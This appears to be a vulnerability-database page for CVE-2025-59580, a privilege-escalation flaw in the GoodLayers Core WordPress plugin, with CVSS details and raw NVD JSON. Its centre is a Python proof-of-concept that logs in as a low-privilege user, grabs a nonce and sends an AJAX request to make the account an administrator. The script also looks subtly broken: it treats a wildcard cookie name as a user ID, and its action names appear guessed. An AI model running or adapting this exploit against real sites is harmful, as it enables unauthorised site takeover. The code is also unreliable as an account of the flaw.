Security Vulnerability Report
中文
CVE-2025-59580 CVSS 8.8 HIGH

CVE-2025-59580

Published: 2025-10-22 15:15:56
Last Modified: 2026-04-15 00:35:42

Description

Incorrect Privilege Assignment vulnerability in GoodLayers Goodlayers Core goodlayers-core allows Privilege Escalation.This issue affects Goodlayers Core: from n/a through < 2.1.7.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Goodlayers Core < 2.1.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import re # CVE-2025-59580 PoC - GoodLayers Core Privilege Escalation # Target: WordPress site with vulnerable Goodlayers Core plugin TARGET_URL = "http://target-wordpress-site.com" USERNAME = "attacker_account" PASSWORD = "attacker_password" def get_nonce(url): """Extract security nonce from the target page""" response = requests.get(url) nonce = re.search(r'data-nonce="([a-zA-Z0-9]+)"', response.text) return nonce.group(1) if nonce else None def exploit_privilege_escalation(): """Perform privilege escalation attack""" session = requests.Session() # Step 1: Authenticate with low-privilege account login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } session.post(f"{TARGET_URL}/wp-login.php", data=login_data) # Step 2: Get AJAX nonce nonce = get_nonce(f"{TARGET_URL}/wp-admin/admin.php?page=goodlayers-core-menu") # Step 3: Send malicious request to escalate privileges exploit_data = { 'action': 'goodlayers_core_ajax_action', 'nonce': nonce, 'operation': 'update_user_role', 'user_id': session.cookies.get_dict().get('wordpress_logged_in_*', ''), 'new_role': 'administrator' } response = session.post(f"{TARGET_URL}/wp-admin/admin-ajax.php", data=exploit_data) print(f"Exploit response: {response.status_code}") return response.status_code == 200 if __name__ == "__main__": print("CVE-2025-59580 GoodLayers Core Privilege Escalation PoC") success = exploit_privilege_escalation() print(f"Exploitation {'successful' if success else 'failed'}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-59580", "sourceIdentifier": "[email protected]", "published": "2025-10-22T15:15:56.287", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Incorrect Privilege Assignment vulnerability in GoodLayers Goodlayers Core goodlayers-core allows Privilege Escalation.This issue affects Goodlayers Core: from n/a through < 2.1.7."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-266"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/goodlayers-core/vulnerability/wordpress-goodlayers-core-plugin-2-1-7-privilege-escalation-vulnerability?_s_id=cve", "source": "[email protected]"}]}}